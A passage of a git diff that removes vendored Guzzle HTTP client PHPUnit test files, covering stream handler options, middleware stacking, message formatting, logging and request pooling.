self::assertArrayNotHasKey('proxy', $opts['http']); - } - - public function testAddsTimeout() - { - $res = $this->getSendResult(['stream' => true, 'timeout' => 200]); - $opts = stream_context_get_options($res->getBody()->detach()); - self::assertEquals(200, $opts['http']['timeout']); - } - - /** - * @expectedException \GuzzleHttp\Exception\RequestException - * @expectedExceptionMessage SSL CA bundle not found: /does/not/exist - */ - public function testVerifiesVerifyIsValidIfPath() - { - $this->getSendResult(['verify' => '/does/not/exist']); - } - - public function testVerifyCanBeDisabled() - { - $handler = $this->getSendResult(['verify' => false]); - self::assertInstanceOf('GuzzleHttp\Psr7\Response', $handler); - } - - /** - * @expectedException \GuzzleHttp\Exception\RequestException - * @expectedExceptionMessage SSL certificate not found: /does/not/exist - */ - public function testVerifiesCertIfValidPath() - { - $this->getSendResult(['cert' => '/does/not/exist']); - } - - public function testVerifyCanBeSetToPath() - { - $path = $path = \GuzzleHttp\default_ca_bundle(); - $res = $this->getSendResult(['verify' => $path]); - $opts = stream_context_get_options($res->getBody()->detach()); - self::assertTrue($opts['ssl']['verify_peer']); - self::assertTrue($opts['ssl']['verify_peer_name']); - self::assertSame($path, $opts['ssl']['cafile']); - self::assertFileExists($opts['ssl']['cafile']); - } - - public function testUsesSystemDefaultBundle() - { - $path = $path = \GuzzleHttp\default_ca_bundle(); - $res = $this->getSendResult(['verify' => true]); - $opts = stream_context_get_options($res->getBody()->detach()); - if (PHP_VERSION_ID < 50600) { - self::assertSame($path, $opts['ssl']['cafile']); - } else { - self::assertArrayNotHasKey('cafile', $opts['ssl']); - } - } - - /** - * @expectedException \InvalidArgumentException - * @expectedExceptionMessage Invalid verify request option - */ - public function testEnsuresVerifyOptionIsValid() - { - $this->getSendResult(['verify' => 10]); - } - - public function testCanSetPasswordWhenSettingCert() - { - $path = __FILE__; - $res = $this->getSendResult(['cert' => [$path, 'foo']]); - $opts = stream_context_get_options($res->getBody()->detach()); - self::assertSame($path, $opts['ssl']['local_cert']); - self::assertSame('foo', $opts['ssl']['passphrase']); - } - - public function testDebugAttributeWritesToStream() - { - $this->queueRes(); - $f = fopen('php://temp', 'w+'); - $this->getSendResult(['debug' => $f]); - fseek($f, 0); - $contents = stream_get_contents($f); - self::assertContains(' [CONNECT]', $contents); - self::assertContains(' [FILE_SIZE_IS]', $contents); - self::assertContains(' [PROGRESS]', $contents); - } - - public function testDebugAttributeWritesStreamInfoToBuffer() - { - $called = false; - $this->queueRes(); - $buffer = fopen('php://temp', 'r+'); - $this->getSendResult([ - 'progress' => function () use (&$called) { - $called = true; - }, - 'debug' => $buffer, - ]); - fseek($buffer, 0); - $contents = stream_get_contents($buffer); - self::assertContains(' [CONNECT]', $contents); - self::assertContains(' [FILE_SIZE_IS] message: "Content-Length: 8"', $contents); - self::assertContains(' [PROGRESS] bytes_max: "8"', $contents); - self::assertTrue($called); - } - - public function testEmitsProgressInformation() - { - $called = []; - $this->queueRes(); - $this->getSendResult([ - 'progress' => function () use (&$called) { - $called[] = func_get_args(); - }, - ]); - self::assertNotEmpty($called); - self::assertEquals(8, $called[0][0]); - self::assertEquals(0, $called[0][1]); - } - - public function testEmitsProgressInformationAndDebugInformation() - { - $called = []; - $this->queueRes(); - $buffer = fopen('php://memory', 'w+'); - $this->getSendResult([ - 'debug' => $buffer, - 'progress' => function () use (&$called) { - $called[] = func_get_args(); - }, - ]); - self::assertNotEmpty($called); - self::assertEquals(8, $called[0][0]); - self::assertEquals(0, $called[0][1]); - rewind($buffer); - self::assertNotEmpty(stream_get_contents($buffer)); - fclose($buffer); - } - - public function testPerformsShallowMergeOfCustomContextOptions() - { - $res = $this->getSendResult([ - 'stream_context' => [ - 'http' => [ - 'request_fulluri' => true, - 'method' => 'HEAD', - ], - 'socket' => [ - 'bindto' => '127.0.0.1:0', - ], - 'ssl' => [ - 'verify_peer' => false, - ], - ], - ]); - $opts = stream_context_get_options($res->getBody()->detach()); - self::assertSame('HEAD', $opts['http']['method']); - self::assertTrue($opts['http']['request_fulluri']); - self::assertSame('127.0.0.1:0', $opts['socket']['bindto']); - self::assertFalse($opts['ssl']['verify_peer']); - } - - /** - * @expectedException \InvalidArgumentException - * @expectedExceptionMessage stream_context must be an array - */ - public function testEnsuresThatStreamContextIsAnArray() - { - $this->getSendResult(['stream_context' => 'foo']); - } - - public function testDoesNotAddContentTypeByDefault() - { - $this->queueRes(); - $handler = new StreamHandler(); - $request = new Request('PUT', Server::$url, ['Content-Length' => 3], 'foo'); - $handler($request, []); - $req = Server::received()[0]; - self::assertEquals('', $req->getHeaderLine('Content-Type')); - self::assertEquals(3, $req->getHeaderLine('Content-Length')); - } - - public function testAddsContentLengthByDefault() - { - $this->queueRes(); - $handler = new StreamHandler(); - $request = new Request('PUT', Server::$url, [], 'foo'); - $handler($request, []); - $req = Server::received()[0]; - self::assertEquals(3, $req->getHeaderLine('Content-Length')); - } - - public function testAddsContentLengthEvenWhenEmpty() - { - $this->queueRes(); - $handler = new StreamHandler(); - $request = new Request('PUT', Server::$url, [], ''); - $handler($request, []); - $req = Server::received()[0]; - self::assertEquals(0, $req->getHeaderLine('Content-Length')); - } - - public function testSupports100Continue() - { - Server::flush(); - $response = new Response(200, ['Test' => 'Hello', 'Content-Length' => '4'], 'test'); - Server::enqueue([$response]); - $request = new Request('PUT', Server::$url, ['Expect' => '100-Continue'], 'test'); - $handler = new StreamHandler(); - $response = $handler($request, [])->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('Hello', $response->getHeaderLine('Test')); - self::assertSame('4', $response->getHeaderLine('Content-Length')); - self::assertSame('test', (string) $response->getBody()); - } - - public function testDoesSleep() - { - $response = new response(200); - Server::enqueue([$response]); - $a = new StreamHandler(); - $request = new Request('GET', Server::$url); - $s = Utils::currentTime(); - $a($request, ['delay' => 0.1])->wait(); - self::assertGreaterThan(0.0001, Utils::currentTime() - $s); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testEnsuresOnHeadersIsCallable() - { - $req = new Request('GET', Server::$url); - $handler = new StreamHandler(); - $handler($req, ['on_headers' => 'error!']); - } - - /** - * @expectedException \GuzzleHttp\Exception\RequestException - * @expectedExceptionMessage An error was encountered during the on_headers event - * @expectedExceptionMessage test - */ - public function testRejectsPromiseWhenOnHeadersFails() - { - Server::flush(); - Server::enqueue([ - new Response(200, ['X-Foo' => 'bar'], 'abc 123') - ]); - $req = new Request('GET', Server::$url); - $handler = new StreamHandler(); - $promise = $handler($req, [ - 'on_headers' => function () { - throw new \Exception('test'); - } - ]); - $promise->wait(); - } - - public function testSuccessfullyCallsOnHeadersBeforeWritingToSink() - { - Server::flush(); - Server::enqueue([ - new Response(200, ['X-Foo' => 'bar'], 'abc 123') - ]); - $req = new Request('GET', Server::$url); - $got = null; - - $stream = Psr7\stream_for(); - $stream = FnStream::decorate($stream, [ - 'write' => function ($data) use ($stream, &$got) { - self::assertNotNull($got); - return $stream->write($data); - } - ]); - - $handler = new StreamHandler(); - $promise = $handler($req, [ - 'sink' => $stream, - 'on_headers' => function (ResponseInterface $res) use (&$got) { - $got = $res; - self::assertSame('bar', $res->getHeaderLine('X-Foo')); - } - ]); - - $response = $promise->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('bar', $response->getHeaderLine('X-Foo')); - self::assertSame('abc 123', (string) $response->getBody()); - } - - public function testInvokesOnStatsOnSuccess() - { - Server::flush(); - Server::enqueue([new Psr7\Response(200)]); - $req = new Psr7\Request('GET', Server::$url); - $gotStats = null; - $handler = new StreamHandler(); - $promise = $handler($req, [ - 'on_stats' => function (TransferStats $stats) use (&$gotStats) { - $gotStats = $stats; - } - ]); - $response = $promise->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame(200, $gotStats->getResponse()->getStatusCode()); - self::assertSame( - Server::$url, - (string) $gotStats->getEffectiveUri() - ); - self::assertSame( - Server::$url, - (string) $gotStats->getRequest()->getUri() - ); - self::assertGreaterThan(0, $gotStats->getTransferTime()); - } - - public function testInvokesOnStatsOnError() - { - $req = new Psr7\Request('GET', 'http://127.0.0.1:123'); - $gotStats = null; - $handler = new StreamHandler(); - $promise = $handler($req, [ - 'connect_timeout' => 0.001, - 'timeout' => 0.001, - 'on_stats' => function (TransferStats $stats) use (&$gotStats) { - $gotStats = $stats; - } - ]); - $promise->wait(false); - self::assertFalse($gotStats->hasResponse()); - self::assertSame( - 'http://127.0.0.1:123', - (string) $gotStats->getEffectiveUri() - ); - self::assertSame( - 'http://127.0.0.1:123', - (string) $gotStats->getRequest()->getUri() - ); - self::assertInternalType('float', $gotStats->getTransferTime()); - self::assertInstanceOf( - ConnectException::class, - $gotStats->getHandlerErrorData() - ); - } - - public function testStreamIgnoresZeroTimeout() - { - Server::flush(); - Server::enqueue([new Psr7\Response(200)]); - $req = new Psr7\Request('GET', Server::$url); - $gotStats = null; - $handler = new StreamHandler(); - $promise = $handler($req, [ - 'connect_timeout' => 10, - 'timeout' => 0 - ]); - $response = $promise->wait(); - self::assertSame(200, $response->getStatusCode()); - } - - public function testDrainsResponseAndReadsAllContentWhenContentLengthIsZero() - { - Server::flush(); - Server::enqueue([ - new Response(200, [ - 'Foo' => 'Bar', - 'Content-Length' => '0', - ], 'hi there... This has a lot of data!') - ]); - $handler = new StreamHandler(); - $request = new Request('GET', Server::$url); - $response = $handler($request, [])->wait(); - $body = $response->getBody(); - $stream = $body->detach(); - self::assertSame('hi there... This has a lot of data!', stream_get_contents($stream)); - fclose($stream); - } - - public function testHonorsReadTimeout() - { - Server::flush(); - $handler = new StreamHandler(); - $response = $handler( - new Request('GET', Server::$url . 'guzzle-server/read-timeout'), - [ - RequestOptions::READ_TIMEOUT => 1, - RequestOptions::STREAM => true, - ] - )->wait(); - self::assertSame(200, $response->getStatusCode()); - self::assertSame('OK', $response->getReasonPhrase()); - $body = $response->getBody()->detach(); - $line = fgets($body); - self::assertSame("sleeping 60 seconds ...\n", $line); - $line = fgets($body); - self::assertFalse($line); - self::assertTrue(stream_get_meta_data($body)['timed_out']); - self::assertFalse(feof($body)); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/HandlerStackTest.php b/vendor/guzzlehttp/guzzle/tests/HandlerStackTest.php deleted file mode 100644 index c197e873a6..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/HandlerStackTest.php +++ /dev/null @@ -1,214 +0,0 @@ -hasHandler()); - } - - /** - * @doesNotPerformAssertions - */ - public function testCanSetDifferentHandlerAfterConstruction() - { - $f = function () { - }; - $h = new HandlerStack(); - $h->setHandler($f); - $h->resolve(); - } - - /** - * @expectedException \LogicException - */ - public function testEnsuresHandlerIsSet() - { - $h = new HandlerStack(); - $h->resolve(); - } - - public function testPushInOrder() - { - $meths = $this->getFunctions(); - $builder = new HandlerStack(); - $builder->setHandler($meths[1]); - $builder->push($meths[2]); - $builder->push($meths[3]); - $builder->push($meths[4]); - $composed = $builder->resolve(); - self::assertSame('Hello - test123', $composed('test')); - self::assertSame( - [['a', 'test'], ['b', 'test1'], ['c', 'test12']], - $meths[0] - ); - } - - public function testUnshiftsInReverseOrder() - { - $meths = $this->getFunctions(); - $builder = new HandlerStack(); - $builder->setHandler($meths[1]); - $builder->unshift($meths[2]); - $builder->unshift($meths[3]); - $builder->unshift($meths[4]); - $composed = $builder->resolve(); - self::assertSame('Hello - test321', $composed('test')); - self::assertSame( - [['c', 'test'], ['b', 'test3'], ['a', 'test32']], - $meths[0] - ); - } - - public function testCanRemoveMiddlewareByInstance() - { - $meths = $this->getFunctions(); - $builder = new HandlerStack(); - $builder->setHandler($meths[1]); - $builder->push($meths[2]); - $builder->push($meths[2]); - $builder->push($meths[3]); - $builder->push($meths[4]); - $builder->push($meths[2]); - $builder->remove($meths[3]); - $composed = $builder->resolve(); - self::assertSame('Hello - test1131', $composed('test')); - } - - public function testCanPrintMiddleware() - { - $meths = $this->getFunctions(); - $builder = new HandlerStack(); - $builder->setHandler($meths[1]); - $builder->push($meths[2], 'a'); - $builder->push([__CLASS__, 'foo']); - $builder->push([$this, 'bar']); - $builder->push(__CLASS__ . '::' . 'foo'); - $lines = explode("\n", (string) $builder); - self::assertContains("> 4) Name: 'a', Function: callable(", $lines[0]); - self::assertContains("> 3) Name: '', Function: callable(GuzzleHttp\\Tests\\HandlerStackTest::foo)", $lines[1]); - self::assertContains("> 2) Name: '', Function: callable(['GuzzleHttp\\Tests\\HandlerStackTest', 'bar'])", $lines[2]); - self::assertContains("> 1) Name: '', Function: callable(GuzzleHttp\\Tests\\HandlerStackTest::foo)", $lines[3]); - self::assertContains("< 0) Handler: callable(", $lines[4]); - self::assertContains("< 1) Name: '', Function: callable(GuzzleHttp\\Tests\\HandlerStackTest::foo)", $lines[5]); - self::assertContains("< 2) Name: '', Function: callable(['GuzzleHttp\\Tests\\HandlerStackTest', 'bar'])", $lines[6]); - self::assertContains("< 3) Name: '', Function: callable(GuzzleHttp\\Tests\\HandlerStackTest::foo)", $lines[7]); - self::assertContains("< 4) Name: 'a', Function: callable(", $lines[8]); - } - - public function testCanAddBeforeByName() - { - $meths = $this->getFunctions(); - $builder = new HandlerStack(); - $builder->setHandler($meths[1]); - $builder->push($meths[2], 'foo'); - $builder->before('foo', $meths[3], 'baz'); - $builder->before('baz', $meths[4], 'bar'); - $builder->before('baz', $meths[4], 'qux'); - $lines = explode("\n", (string) $builder); - self::assertContains('> 4) Name: \'bar\'', $lines[0]); - self::assertContains('> 3) Name: \'qux\'', $lines[1]); - self::assertContains('> 2) Name: \'baz\'', $lines[2]); - self::assertContains('> 1) Name: \'foo\'', $lines[3]); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testEnsuresHandlerExistsByName() - { - $builder = new HandlerStack(); - $builder->before('foo', function () { - }); - } - - public function testCanAddAfterByName() - { - $meths = $this->getFunctions(); - $builder = new HandlerStack(); - $builder->setHandler($meths[1]); - $builder->push($meths[2], 'a'); - $builder->push($meths[3], 'b'); - $builder->after('a', $meths[4], 'c'); - $builder->after('b', $meths[4], 'd'); - $lines = explode("\n", (string) $builder); - self::assertContains('4) Name: \'a\'', $lines[0]); - self::assertContains('3) Name: \'c\'', $lines[1]); - self::assertContains('2) Name: \'b\'', $lines[2]); - self::assertContains('1) Name: \'d\'', $lines[3]); - } - - public function testPicksUpCookiesFromRedirects() - { - $mock = new MockHandler([ - new Response(301, [ - 'Location' => 'http://foo.com/baz', - 'Set-Cookie' => 'foo=bar; Domain=foo.com' - ]), - new Response(200) - ]); - $handler = HandlerStack::create($mock); - $request = new Request('GET', 'http://foo.com/bar'); - $jar = new CookieJar(); - $response = $handler($request, [ - 'allow_redirects' => true, - 'cookies' => $jar - ])->wait(); - self::assertSame(200, $response->getStatusCode()); - $lastRequest = $mock->getLastRequest(); - self::assertSame('http://foo.com/baz', (string) $lastRequest->getUri()); - self::assertSame('foo=bar', $lastRequest->getHeaderLine('Cookie')); - } - - private function getFunctions() - { - $calls = []; - - $a = function (callable $next) use (&$calls) { - return function ($v) use ($next, &$calls) { - $calls[] = ['a', $v]; - return $next($v . '1'); - }; - }; - - $b = function (callable $next) use (&$calls) { - return function ($v) use ($next, &$calls) { - $calls[] = ['b', $v]; - return $next($v . '2'); - }; - }; - - $c = function (callable $next) use (&$calls) { - return function ($v) use ($next, &$calls) { - $calls[] = ['c', $v]; - return $next($v . '3'); - }; - }; - - $handler = function ($v) { - return 'Hello - ' . $v; - }; - - return [&$calls, $handler, $a, $b, $c]; - } - - public static function foo() - { - } - public function bar() - { - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/InternalUtilsTest.php b/vendor/guzzlehttp/guzzle/tests/InternalUtilsTest.php deleted file mode 100644 index e610230a01..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/InternalUtilsTest.php +++ /dev/null @@ -1,21 +0,0 @@ -getHost()); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/MessageFormatterTest.php b/vendor/guzzlehttp/guzzle/tests/MessageFormatterTest.php deleted file mode 100644 index 46f418c33d..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/MessageFormatterTest.php +++ /dev/null @@ -1,93 +0,0 @@ -format($request); - self::assertRegExp($pattern, $result); - } - - public function formatProvider() - { - $request = new Request('PUT', '/', ['x-test' => 'abc'], Psr7\stream_for('foo')); - $response = new Response(200, ['X-Baz' => 'Bar'], Psr7\stream_for('baz')); - $err = new RequestException('Test', $request, $response); - - return [ - ['{request}', [$request], Psr7\str($request)], - ['{response}', [$request, $response], Psr7\str($response)], - ['{request} {response}', [$request, $response], Psr7\str($request) . ' ' . Psr7\str($response)], - // Empty response yields no value - ['{request} {response}', [$request], Psr7\str($request) . ' '], - ['{req_headers}', [$request], "PUT / HTTP/1.1\r\nx-test: abc"], - ['{res_headers}', [$request, $response], "HTTP/1.1 200 OK\r\nX-Baz: Bar"], - ['{res_headers}', [$request], 'NULL'], - ['{req_body}', [$request], 'foo'], - ['{res_body}', [$request, $response], 'baz'], - ['{res_body}', [$request], 'NULL'], - ['{method}', [$request], $request->getMethod()], - ['{url}', [$request], $request->getUri()], - ['{target}', [$request], $request->getRequestTarget()], - ['{req_version}', [$request], $request->getProtocolVersion()], - ['{res_version}', [$request, $response], $response->getProtocolVersion()], - ['{res_version}', [$request], 'NULL'], - ['{host}', [$request], $request->getHeaderLine('Host')], - ['{hostname}', [$request, $response], gethostname()], - ['{hostname}{hostname}', [$request, $response], gethostname() . gethostname()], - ['{code}', [$request, $response], $response->getStatusCode()], - ['{code}', [$request], 'NULL'], - ['{phrase}', [$request, $response], $response->getReasonPhrase()], - ['{phrase}', [$request], 'NULL'], - ['{error}', [$request, $response, $err], 'Test'], - ['{error}', [$request], 'NULL'], - ['{req_header_x-test}', [$request], 'abc'], - ['{req_header_x-not}', [$request], ''], - ['{res_header_X-Baz}', [$request, $response], 'Bar'], - ['{res_header_x-not}', [$request, $response], ''], - ['{res_header_X-Baz}', [$request], 'NULL'], - ]; - } - - /** - * @dataProvider formatProvider - */ - public function testFormatsMessages($template, $args, $result) - { - $f = new MessageFormatter($template); - self::assertSame((string) $result, call_user_func_array([$f, 'format'], $args)); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/MiddlewareTest.php b/vendor/guzzlehttp/guzzle/tests/MiddlewareTest.php deleted file mode 100644 index 5d072aca00..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/MiddlewareTest.php +++ /dev/null @@ -1,217 +0,0 @@ - (string) new SetCookie([ - 'Name' => 'name', - 'Value' => 'value', - 'Domain' => 'foo.com' - ]) - ]); - } - ] - ); - $f = $m($h); - $f(new Request('GET', 'http://foo.com'), ['cookies' => $jar])->wait(); - self::assertCount(1, $jar); - } - - /** - * @expectedException \GuzzleHttp\Exception\ClientException - */ - public function testThrowsExceptionOnHttpClientError() - { - $m = Middleware::httpErrors(); - $h = new MockHandler([new Response(404)]); - $f = $m($h); - $p = $f(new Request('GET', 'http://foo.com'), ['http_errors' => true]); - self::assertSame('pending', $p->getState()); - $p->wait(); - self::assertSame('rejected', $p->getState()); - } - - /** - * @expectedException \GuzzleHttp\Exception\ServerException - */ - public function testThrowsExceptionOnHttpServerError() - { - $m = Middleware::httpErrors(); - $h = new MockHandler([new Response(500)]); - $f = $m($h); - $p = $f(new Request('GET', 'http://foo.com'), ['http_errors' => true]); - self::assertSame('pending', $p->getState()); - $p->wait(); - self::assertSame('rejected', $p->getState()); - } - - /** - * @dataProvider getHistoryUseCases - */ - public function testTracksHistory($container) - { - $m = Middleware::history($container); - $h = new MockHandler([new Response(200), new Response(201)]); - $f = $m($h); - $p1 = $f(new Request('GET', 'http://foo.com'), ['headers' => ['foo' => 'bar']]); - $p2 = $f(new Request('HEAD', 'http://foo.com'), ['headers' => ['foo' => 'baz']]); - $p1->wait(); - $p2->wait(); - self::assertCount(2, $container); - self::assertSame(200, $container[0]['response']->getStatusCode()); - self::assertSame(201, $container[1]['response']->getStatusCode()); - self::assertSame('GET', $container[0]['request']->getMethod()); - self::assertSame('HEAD', $container[1]['request']->getMethod()); - self::assertSame('bar', $container[0]['options']['headers']['foo']); - self::assertSame('baz', $container[1]['options']['headers']['foo']); - } - - public function getHistoryUseCases() - { - return [ - [[]], // 1. Container is an array - [new \ArrayObject()] // 2. Container is an ArrayObject - ]; - } - - public function testTracksHistoryForFailures() - { - $container = []; - $m = Middleware::history($container); - $request = new Request('GET', 'http://foo.com'); - $h = new MockHandler([new RequestException('error', $request)]); - $f = $m($h); - $f($request, [])->wait(false); - self::assertCount(1, $container); - self::assertSame('GET', $container[0]['request']->getMethod()); - self::assertInstanceOf(RequestException::class, $container[0]['error']); - } - - public function testTapsBeforeAndAfter() - { - $calls = []; - $m = function ($handler) use (&$calls) { - return function ($request, $options) use ($handler, &$calls) { - $calls[] = '2'; - return $handler($request, $options); - }; - }; - - $m2 = Middleware::tap( - function (RequestInterface $request, array $options) use (&$calls) { - $calls[] = '1'; - }, - function (RequestInterface $request, array $options, PromiseInterface $p) use (&$calls) { - $calls[] = '3'; - } - ); - - $h = new MockHandler([new Response()]); - $b = new HandlerStack($h); - $b->push($m2); - $b->push($m); - $comp = $b->resolve(); - $p = $comp(new Request('GET', 'http://foo.com'), []); - self::assertSame('123', implode('', $calls)); - self::assertInstanceOf(PromiseInterface::class, $p); - self::assertSame(200, $p->wait()->getStatusCode()); - } - - public function testMapsRequest() - { - $h = new MockHandler([ - function (RequestInterface $request, array $options) { - self::assertSame('foo', $request->getHeaderLine('Bar')); - return new Response(200); - } - ]); - $stack = new HandlerStack($h); - $stack->push(Middleware::mapRequest(function (RequestInterface $request) { - return $request->withHeader('Bar', 'foo'); - })); - $comp = $stack->resolve(); - $p = $comp(new Request('PUT', 'http://www.google.com'), []); - self::assertInstanceOf(PromiseInterface::class, $p); - } - - public function testMapsResponse() - { - $h = new MockHandler([new Response(200)]); - $stack = new HandlerStack($h); - $stack->push(Middleware::mapResponse(function (ResponseInterface $response) { - return $response->withHeader('Bar', 'foo'); - })); - $comp = $stack->resolve(); - $p = $comp(new Request('PUT', 'http://www.google.com'), []); - $p->wait(); - self::assertSame('foo', $p->wait()->getHeaderLine('Bar')); - } - - public function testLogsRequestsAndResponses() - { - $h = new MockHandler([new Response(200)]); - $stack = new HandlerStack($h); - $logger = new TestLogger(); - $formatter = new MessageFormatter(); - $stack->push(Middleware::log($logger, $formatter)); - $comp = $stack->resolve(); - $p = $comp(new Request('PUT', 'http://www.google.com'), []); - $p->wait(); - self::assertCount(1, $logger->records); - self::assertContains('"PUT / HTTP/1.1" 200', $logger->records[0]['message']); - } - - public function testLogsRequestsAndResponsesCustomLevel() - { - $h = new MockHandler([new Response(200)]); - $stack = new HandlerStack($h); - $logger = new TestLogger(); - $formatter = new MessageFormatter(); - $stack->push(Middleware::log($logger, $formatter, 'debug')); - $comp = $stack->resolve(); - $p = $comp(new Request('PUT', 'http://www.google.com'), []); - $p->wait(); - self::assertCount(1, $logger->records); - self::assertContains('"PUT / HTTP/1.1" 200', $logger->records[0]['message']); - self::assertSame('debug', $logger->records[0]['level']); - } - - public function testLogsRequestsAndErrors() - { - $h = new MockHandler([new Response(404)]); - $stack = new HandlerStack($h); - $logger = new TestLogger(); - $formatter = new MessageFormatter('{code} {error}'); - $stack->push(Middleware::log($logger, $formatter)); - $stack->push(Middleware::httpErrors()); - $comp = $stack->resolve(); - $p = $comp(new Request('PUT', 'http://www.google.com'), ['http_errors' => true]); - $p->wait(false); - self::assertCount(1, $logger->records); - self::assertContains('PUT http://www.google.com', $logger->records[0]['message']); - self::assertContains('404 Not Found', $logger->records[0]['message']); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/PoolTest.php b/vendor/guzzlehttp/guzzle/tests/PoolTest.php deleted file mode 100644 index cd6dd58839..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/PoolTest.php +++ /dev/null @@ -1,193 +0,0 @@ -promise()->wait(); - } - - /** - * @expectedException \InvalidArgumentException - */ - public function testValidatesEachElement() - { - $c = new Client(); - $requests = ['foo']; - $p = new Pool($c, new \ArrayIterator($requests)); - $p->promise()->wait(); - } - - /** - * @doesNotPerformAssertions - */ - public function testSendsAndRealizesFuture() - { - $c = $this->getClient(); - $p = new Pool($c, [new Request('GET', 'http://example.com')]); - $p->promise()->wait(); - } - - /** - * @doesNotPerformAssertions - */ - public function testExecutesPendingWhenWaiting() - { - $r1 = new Promise(function () use (&$r1) { - $r1->resolve(new Response()); - }); - $r2 = new Promise(function () use (&$r2) { - $r2->resolve(new Response()); - }); - $r3 = new Promise(function () use (&$r3) { - $r3->resolve(new Response()); - }); - $handler = new MockHandler([$r1, $r2, $r3]); - $c = new Client(['handler' => $handler]); - $p = new Pool($c, [ - new Request('GET', 'http://example.com'), - new Request('GET', 'http://example.com'), - new Request('GET', 'http://example.com'), - ], ['pool_size' => 2]); - $p->promise()->wait(); - } - - public function testUsesRequestOptions() - { - $h = []; - $handler = new MockHandler([ - function (RequestInterface $request) use (&$h) { - $h[] = $request; - return new Response(); - } - ]); - $c = new Client(['handler' => $handler]); - $opts = ['options' => ['headers' => ['x-foo' => 'bar']]]; - $p = new Pool($c, [new Request('GET', 'http://example.com')], $opts); - $p->promise()->wait(); - self::assertCount(1, $h); - self::assertTrue($h[0]->hasHeader('x-foo')); - } - - public function testCanProvideCallablesThatReturnResponses() - { - $h = []; - $handler = new MockHandler([ - function (RequestInterface $request) use (&$h) { - $h[] = $request; - return new Response(); - } - ]); - $c = new Client(['handler' => $handler]); - $optHistory = []; - $fn = function (array $opts) use (&$optHistory, $c) { - $optHistory = $opts; - return $c->request('GET', 'http://example.com', $opts); - }; - $opts = ['options' => ['headers' => ['x-foo' => 'bar']]]; - $p = new Pool($c, [$fn], $opts); - $p->promise()->wait(); - self::assertCount(1, $h); - self::assertTrue($h[0]->hasHeader('x-foo')); - } - - public function testBatchesResults() - { - $requests = [ - new Request('GET', 'http://foo.com/200'), - new Request('GET', 'http://foo.com/201'), - new Request('GET', 'http://foo.com/202'), - new Request('GET', 'http://foo.com/404'), - ]; - $fn = function (RequestInterface $request) { - return new Response(substr($request->getUri()->getPath(), 1)); - }; - $mock = new MockHandler([$fn, $fn, $fn, $fn]); - $handler = HandlerStack::create($mock); - $client = new Client(['handler' => $handler]); - $results = Pool::batch($client, $requests); - self::assertCount(4, $results); - self::assertSame([0, 1, 2, 3], array_keys($results)); - self::assertSame(200, $results[0]->getStatusCode()); - self::assertSame(201, $results[1]->getStatusCode()); - self::assertSame(202, $results[2]->getStatusCode()); - self::assertInstanceOf(ClientException::class, $results[3]); - } - - public function testBatchesResultsWithCallbacks() - { - $requests = [ - new Request('GET', 'http://foo.com/200'), - new Request('GET', 'http://foo.com/201') - ]; - $mock = new MockHandler([ - function (RequestInterface $request) { - return new Response(substr($request->getUri()->getPath(), 1)); - } - ]); - $client = new Client(['handler' => $mock]); - $results = Pool::batch($client, $requests, [ - 'fulfilled' => function ($value) use (&$called) { - $called = true; - } - ]); - self::assertCount(2, $results); - self::assertTrue($called); - } - - public function testUsesYieldedKeyInFulfilledCallback() - { - $r1 = new Promise(function () use (&$r1) { - $r1->resolve(new Response()); - }); - $r2 = new Promise(function () use (&$r2) { - $r2->resolve(new Response()); - }); - $r3 = new Promise(function () use (&$r3) { - $r3->resolve(new Response()); - }); - $handler = new MockHandler([$r1, $r2, $r3]); - $c = new Client(['handler' => $handler]); - $keys = []; - $requests = [ - 'request_1' => new Request('GET', 'http://example.com'), - 'request_2' => new Request('GET', 'http://example.com'), - 'request_3' => new Request('GET', 'http://example.com'), - ]; - $p = new Pool($c, $requests, [ - 'pool_size' => 2, - 'fulfilled' => function ($res, $index) use (&$keys) { - $keys[] = $index; - } - ]); - $p->promise()->wait(); - self::assertCount(3, $keys); - self::assertSame($keys, array_keys($requests)); - } - - private function getClient($total = 1) - { - $queue = []; - for ($i = 0; $i < $total; $i++) { - $queue[] = new Response(); - } - $handler = new MockHandler($queue); - return new Client(['handler' => $handler]); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/PrepareBodyMiddlewareTest.php b/vendor/guzzlehttp/guzzle/tests/PrepareBodyMiddlewareTest.php deleted file mode 100644 index 45538d747c..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/PrepareBodyMiddlewareTest.php +++ /dev/null @@ -1,155 +0,0 @@ - 0) { - self::assertEquals($length, $request->getHeaderLine('Content-Length')); - } else { - self::assertFalse($request->hasHeader('Content-Length')); - } - return new Response(200); - } - ]); - $m = Middleware::prepareBody(); - $stack = new HandlerStack($h); - $stack->push($m); - $comp = $stack->resolve(); - $p = $comp(new Request($method, 'http://www.google.com', [], $body), []); - self::assertInstanceOf(PromiseInterface::class, $p); - $response = $p->wait(); - self::assertSame(200, $response->getStatusCode()); - } - - public function testAddsTransferEncodingWhenNoContentLength() - { - $body = FnStream::decorate(Psr7\stream_for('foo'), [ - 'getSize' => function () { - return null; - } - ]); - $h = new MockHandler([ - function (RequestInterface $request) { - self::assertFalse($request->hasHeader('Content-Length')); - self::assertSame('chunked', $request->getHeaderLine('Transfer-Encoding')); - return new Response(200); - } - ]); - $m = Middleware::prepareBody(); - $stack = new HandlerStack($h); - $stack->push($m); - $comp = $stack->resolve(); - $p = $comp(new Request('PUT', 'http://www.google.com', [], $body), []); - self::assertInstanceOf(PromiseInterface::class, $p); - $response = $p->wait(); - self::assertSame(200, $response->getStatusCode()); - } - - public function testAddsContentTypeWhenMissingAndPossible() - { - $bd = Psr7\stream_for(fopen(__DIR__ . '/../composer.json', 'r')); - $h = new MockHandler([ - function (RequestInterface $request) { - self::assertSame('application/json', $request->getHeaderLine('Content-Type')); - self::assertTrue($request->hasHeader('Content-Length')); - return new Response(200); - } - ]); - $m = Middleware::prepareBody(); - $stack = new HandlerStack($h); - $stack->push($m); - $comp = 